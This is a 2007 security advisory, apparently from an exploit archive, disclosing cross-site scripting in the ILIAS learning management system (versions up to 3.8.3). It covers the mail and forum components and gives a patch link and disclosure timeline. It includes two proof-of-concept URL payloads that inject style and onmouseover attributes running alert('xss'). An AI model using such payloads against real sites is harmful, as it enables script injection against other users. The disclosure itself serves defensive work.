AOH :: HP Unsorted I :: TB13205.HTM

ILIAS <= 3.8.3 Cross Site Scripting



ILIAS <= 3.8.3 Cross Site Scripting
ILIAS <= 3.8.3 Cross Site Scripting



=====================================================================ILIAS <= 3.8.3 Cross Site Scripting
=====================================================================
Author:          L4teral 
Impact:          Cross Site Scripting
Status:          patch available


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Affected software description:
------------------------------

Application:     ILIAS
Version:         <= 3.8.3
Vendor: http://www.ilias.de 

Description:
ILIAS is a powerful web-based learning management system that allows
you to easily manage learning resources in an integrated system.


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Vulnerability:
--------------

The mailing and forum components are vulnerable to cross site scripting.


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PoC/Exploit:
------------

create forum post/mail with:
http://www.ex"style="width:expression(alert('xss'))"ample.com 

http://www.ex"onmouseover="javascript:alert('xss');"ample.com 


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Solution:
---------

install security patch:
http://www.ilias.de/docu/goto.php?target=pg_16836_35&client_id=docu 


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Timeline:
---------

17.10.2007 - vendor informed
25.10.2007 - vendor responded
29.10.2007 - vendor released patch
30.10.2007 - public disclosure

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